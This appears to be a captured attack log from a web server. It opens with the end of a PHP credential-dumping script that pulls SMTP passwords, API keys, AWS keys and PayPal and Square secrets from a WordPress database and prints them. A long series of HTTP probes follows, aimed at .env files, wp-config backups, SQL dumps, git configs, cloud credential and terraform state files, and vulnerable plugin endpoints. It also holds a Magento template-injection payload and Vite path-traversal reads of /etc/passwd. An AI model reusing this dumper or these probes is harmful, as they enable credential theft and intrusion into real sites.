$r = $m->query("SELECT option_name, option_value FROM {$pfx}options WHERE option_name IN ('wp_mail_smtp','wp_mail_smtp_pro','_fluentmail_settings','swpsmtp_options','smtp_mailer_options','postman_options')");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        if(!is_array($v)) $v = @json_decode($row['option_value'], true);
        if(!is_array($v)) continue;
        // Recursive extract of host/user/pass/port/api_key from nested arrays
        $stack = array($v);
        while($stack) {
            $current = array_pop($stack);
            if(!is_array($current)) continue;
            $h = $current['smtp_host'] ?? $current['host'] ?? $current['mail_host'] ?? '';
            $u = $current['smtp_user'] ?? $current['username'] ?? $current['smtp_username'] ?? $current['mail_username'] ?? '';
            $p = $current['smtp_pass'] ?? $current['password'] ?? $current['smtp_password'] ?? $current['mail_password'] ?? '';
            $port = $current['smtp_port'] ?? $current['port'] ?? '587';
            if($h && $u && $p && strlen($p) > 3) {
                echo "MAIL_HOST=".$h."\n";
                echo "MAIL_PORT=".$port."\n";
                echo "MAIL_USERNAME=".$u."\n";
                echo "MAIL_PASSWORD=".$p."\n";
            }
            // Extract any API keys
            foreach(array('api_key','api_secret','apikey','secret_key','access_key','client_secret','server_api_token','auth_token') as $kn) {
                if(!empty($current[$kn]) && strlen($current[$kn]) > 10) {
                    echo strtoupper($kn)."=".$current[$kn]."\n";
                }
            }
            // AWS specific
            if(!empty($current['access_key_id']) && !empty($current['secret_access_key'])) {
                echo "AWS_ACCESS_KEY_ID=".$current['access_key_id']."\n";
                echo "AWS_SECRET_ACCESS_KEY=".$current['secret_access_key']."\n";
            }
            foreach($current as $ck => $cv) {
                if(is_array($cv)) $stack[] = $cv;
            }
        }
    }
}

// PayPal credentials from WooCommerce
$r = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name LIKE 'woocommerce_paypal%settings'");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        if(!is_array($v)) continue;
        if(!empty($v['api_username'])) echo "PAYPAL_CLIENT_ID=".$v['api_username']."\n";
        if(!empty($v['api_password'])) echo "PAYPAL_SECRET=".$v['api_password']."\n";
        if(!empty($v['client_id'])) echo "PAYPAL_CLIENT_ID=".$v['client_id']."\n";
        if(!empty($v['client_secret'])) echo "PAYPAL_CLIENT_SECRET=".$v['client_secret']."\n";
    }
}

// Square tokens
$r = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name LIKE '%square%settings%' OR option_name LIKE '%square%token%'");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        if(!is_array($v)) continue;
        if(!empty($v['access_token'])) echo "SQUARE_ACCESS_TOKEN=".$v['access_token']."\n";
        if(!empty($v['application_id'])) echo "SQUARE_APPLICATION_ID=".$v['application_id']."\n";
    }
}

$m->close();
echo "WP_CRED_DUMP_END\n";
?>
--2e2618a26cba92401ac87fb71c5f50cb4de4718fc59f78da506c4df5b51a--







GET /signup/



Headers


Body






GET /register/



Headers


Body






GET /inquiry/



Headers


Body






GET /enquiry/



Headers


Body






GET /forms/



Headers


Body






GET /form/



Headers


Body






GET /booking/



Headers


Body






GET /quote/



Headers


Body






GET /demo/



Headers


Body






GET /support/



Headers


Body






GET /estimating-guide/



Headers


Body






GET /get-paid/



Headers


Body






GET /newsletter/



Headers


Body






GET /subscribe/



Headers


Body






GET /ask-reets/



Headers


Body






GET /ask/



Headers


Body






GET /contact-us/



Headers


Body






GET /contact/



Headers


Body






GET /wp-json/wp/v2/pages?per_page=50&_fields=link,slug



Headers


Body






GET /wp-json/wp/v2/pages?per_page=50



Headers


Body






GET /wp-json/wp/v2/types



Headers


Body






GET /wp-json/wp/v2/settings



Headers


Body






GET /wp-json/wp/v2/users



Headers


Body






GET /wp-json/



Headers


Body






GET /sitemap.xml



Headers


Body






GET /robots.txt



Headers


Body






GET /wp-content/uploads/wpcf7_uploads/



Headers


Body






GET /wp-content/uploads/db-backup/



Headers


Body






GET /wp-content/uploads/backups/



Headers


Body






GET /wp-content/uploads/backup/



Headers


Body






GET /wp-content/updraft/



Headers


Body






GET /wp-content/backups/



Headers


Body






GET /wp-content/backup-db/



Headers


Body






GET /wp-content/ai1wm-backups/



Headers


Body






GET /wp-content/uploads/fluentform/



Headers


Body






GET /wp-content/uploads/gravity_forms/



Headers


Body






GET /wp-content/uploads/wpforms/



Headers


Body






GET /wp-content/uploads/wp-mail-smtp/



Headers


Body






GET /wp-json/bricksforge/v1/import



Headers


Body






POST /wp-json/bricksforge/v1/export



Headers


Body
{"formId":"","nonce":"59e46039","option":"bricksforge","postId":""}






GET /wp-json/bricksforge/v1/get_populated_templates



Headers


Body






GET /wp-json/bricksforge/v1/get_conditions



Headers


Body






GET /wp-json/bricksforge/v1/get_elements



Headers


Body






GET /wp-json/bricksforge/v1/get_global_settings



Headers


Body






POST /wp-json/bricksforge/v1/render_form_data



Headers


Body
{"formId":"","nonce":"59e46039","option":"bricksforge","postId":""}






GET /wp-json/bricksforge/v1/get_form_title



Headers


Body






POST /wp-json/bricksforge/v1/get_option



Headers


Body
{"formId":"","nonce":"59e46039","option":"bricksforge","postId":""}






GET /wp-json/bricksforge/v1/get_global_classes



Headers


Body






POST /wp-json/bricksforge/v1/export_settings



Headers


Body
{"formId":"","nonce":"59e46039","option":"bricksforge","postId":""}






GET /wp-json/bricksforge/v1/submissions



Headers


Body






GET /wp-json/bricksforge/v1/logs



Headers


Body






GET /wp-json/bricksforge/v1/



Headers


Body






GET /wp-content/plugins/bricksforge/includes/



Headers


Body






GET /wp-content/plugins/bricksforge/readme.txt



Headers


Body






GET /wp-content/uploads/bricksforge/submissions/



Headers


Body






GET /wp-content/uploads/bricksforge/tmp/



Headers


Body






GET /wp-content/uploads/bricksforge/



Headers


Body






GET /wp-content/.aws/credentials



Headers


Body






GET /aws/credentials



Headers


Body






GET /.aws/credentials



Headers


Body






GET /.svn/entries



Headers


Body






GET /.gitignore



Headers


Body






GET /.git/HEAD



Headers


Body






GET /.git/config



Headers


Body






GET /var/log/apache2/error.log



Headers


Body






GET /logs/error.log



Headers


Body






GET /wp-content/uploads/debug.log



Headers


Body






GET /wp-content/uploads/error_log



Headers


Body






GET /error_log



Headers


Body






GET /debug.log



Headers


Body






GET /wp-content/debug.log



Headers


Body






GET /config/.env



Headers


Body






GET /backend/.env



Headers


Body






GET /api/.env



Headers


Body






GET /app/.env



Headers


Body






GET /.env.old



Headers


Body






GET /.env.bak



Headers


Body






GET /wp-content/uploads/.env



Headers


Body






GET /wp-content/.env



Headers


Body






GET /.env.backup



Headers


Body






GET /.env.staging



Headers


Body






GET /.env.production



Headers


Body






GET /.env.local



Headers


Body






GET /.env



Headers


Body






GET /db.sql



Headers


Body






GET /dump.sql



Headers


Body






GET /backup.sql



Headers


Body






GET /wp-content/backup.sql



Headers


Body






GET /wp-content/database.sql



Headers


Body






GET /wp-content/mysql.sql



Headers


Body






GET /_wpeprivate/config.json



Headers


Body






GET /wp-config.php.copy



Headers


Body






GET /wp-config.php.backup



Headers


Body






GET /wp-config-sample.php



Headers


Body






GET /wp-config.php.dist



Headers


Body






GET /wp-config.php.orig



Headers


Body






GET /wp-config.txt



Headers


Body






GET /wp-config.old



Headers


Body






GET /wp-config.bak



Headers


Body






GET /wp-config.php~



Headers


Body






GET /wp-config.php.txt



Headers


Body






GET /wp-config.php.swp



Headers


Body






GET /wp-config.php.save



Headers


Body






GET /wp-config.php.old



Headers


Body






GET /wp-config.php.bak



Headers


Body






GET /wp-config.php



Headers


Body






POST /wp-admin/admin-ajax.php



Headers


Body
action=bricksforge_regenerate_nonce






GET /wp-content/plugins/bricksforge/readme.txt



Headers


Body






GET /



Headers


Body






GET /wp-content/plugins/frontend-dashboard-pro/readme.txt



Headers


Body






GET /wp-content/plugins/frontend-dashboard/readme.txt



Headers


Body






GET /



Headers


Body






GET /wp-includes/version.php



Headers


Body






GET /readme.html



Headers


Body






GET /



Headers


Body






GET /wp-content/plugins/the-events-calendar/readme.txt



Headers


Body






GET /



Headers


Body






GET /nonexistent-404-probe-cve18351



Headers


Body






GET /?p=1



Headers


Body






GET /



Headers


Body






GET /



Headers


Body






GET /wp-content/plugins/essential-addons-for-elementor/readme.txt



Headers


Body






GET /



Headers


Body






GET /server/.env



Headers


Body






GET /app/.env



Headers


Body






GET /api/.env



Headers


Body






GET /backend/.env



Headers


Body






GET /.env



Headers


Body






POST /paypal/transparent/response/?styles=%7B%22first%22%3A%22..%2Fvar%2Flog%2Fsystem.log%22%2C%22generatorClass%22%3A%22Aws%5C%5CS3%5C%5CS3Client%22%2C%22path%22%3A%22dummy%22%2C%22region%22%3A%22us-east-1%22%2C%22s3_us_east_1_regional_endpoint%22%3A%22regional%22%2C%22version%22%3A%22latest%22%2C%22with_resolved%22%3A%5B%7B%22instance%22%3A%22Magento%5C%5CSetup%5C%5CModule%5C%5CDi%5C%5CCode%5C%5CScanner%5C%5CArrayScanner%22%7D%2C%22collectEntities%22%5D%7D&text=%7B%7Bblock+class%3DMagento%5CBackend%5CBlock%5CWidget%5CGrid%5CColumnSet+rowUrl%3D%24this.template_styles+cache_key%3Dy%7D%7D&type=2



Headers


Body






POST /graphql?styles=%7B%22first%22%3A%22..%2Fvar%2Flog%2Fsystem.log%22%2C%22generatorClass%22%3A%22Aws%5C%5CS3%5C%5CS3Client%22%2C%22path%22%3A%22dummy%22%2C%22region%22%3A%22us-east-1%22%2C%22s3_us_east_1_regional_endpoint%22%3A%22regional%22%2C%22version%22%3A%22latest%22%2C%22with_resolved%22%3A%5B%7B%22instance%22%3A%22Magento%5C%5CSetup%5C%5CModule%5C%5CDi%5C%5CCode%5C%5CScanner%5C%5CArrayScanner%22%7D%2C%22collectEntities%22%5D%7D&text=%7B%7Bblock+class%3DMagento%5CBackend%5CBlock%5CWidget%5CGrid%5CColumnSet+rowUrl%3D%24this.template_styles+cache_key%3Dy%7D%7D&type=2



Headers


Body
{"query":"mutation { handlePayflowProResponse(input: { paypal_payload: \"x\" }) { cart { items { uid } } } }"}






POST /graphql



Headers


Body
{"query":"mutation { createEmptyCart }"}






POST /graphql



Headers


Body
{"query":"{ storeConfig { store_code } }"}






GET /pub/health_check.php



Headers


Body






GET /



Headers


Body






GET /@fs/.env?raw??



Headers


Body






GET /@fs/.env?import&?inline=1.wasm?init



Headers


Body






GET /@fs/.env?import&raw??



Headers


Body






GET /@fs/etc/passwd?raw??



Headers


Body






GET /@fs/etc/passwd?import&?inline=1.wasm?init



Headers


Body






GET /@fs/etc/passwd?import&raw??



Headers


Body






GET /@fs/proc/self/environ?raw??



Headers


Body






GET /@fs/proc/self/environ?import&?inline=1.wasm?init



Headers


Body






GET /@fs/proc/self/environ?import&raw??



Headers


Body






GET /@vite/client



Headers


Body






GET /



Headers


Body






GET /wp-admin/admin-ajax.php?action=post_smtp_get_logs



Headers


Body






GET /?post_smtp_log=1



Headers


Body






GET /wp-json/post-smtp/v1/get-logs



Headers


Body






GET /wp-json/post-smtp/v1/get-details



Headers


Body






GET /



Headers


Body






GET /_next/data/



Headers


Body






GET /



Headers


Body






GET /wp-content/plugins/wp-user-manager/readme.txt



Headers


Body






GET /



Headers


Body






GET /wp-login.php



Headers


Body






GET /?tickera_sales=sales_stats_event



Headers


Body






GET /?tickera_sales=sales_stats_general



Headers


Body






GET /wp-content/plugins/tickera-event-ticketing-system/readme.txt



Headers


Body






GET /



Headers


Body






GET /.git/config



Headers


Body






GET /.git/HEAD



Headers


Body






GET /



Headers


Body






GET /wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings



Headers


Body






GET /lambda/.env



Headers


Body






GET /secrets.yml



Headers


Body






GET /secrets.json



Headers


Body






GET /config/secrets.yaml



Headers


Body






GET /config/secrets.yml



Headers


Body






GET /credentials.csv



Headers


Body






GET /rootkey.csv



Headers


Body






GET /accessKeys.csv



Headers


Body






GET /Dockerrun.aws.json



Headers


Body






GET /appspec.yml



Headers


Body






GET /buildspec.yml



Headers


Body






GET /sst.config.ts



Headers


Body






GET /cdk.context.json



Headers


Body






GET /cdk.json



Headers


Body






GET /samconfig.toml



Headers


Body






GET /.serverless/serverless-state.json



Headers


Body






GET /serverless.json



Headers


Body






GET /serverless.yml



Headers


Body






GET /.terraform/terraform.tfstate



Headers


Body






GET /terraform.tfstate



Headers


Body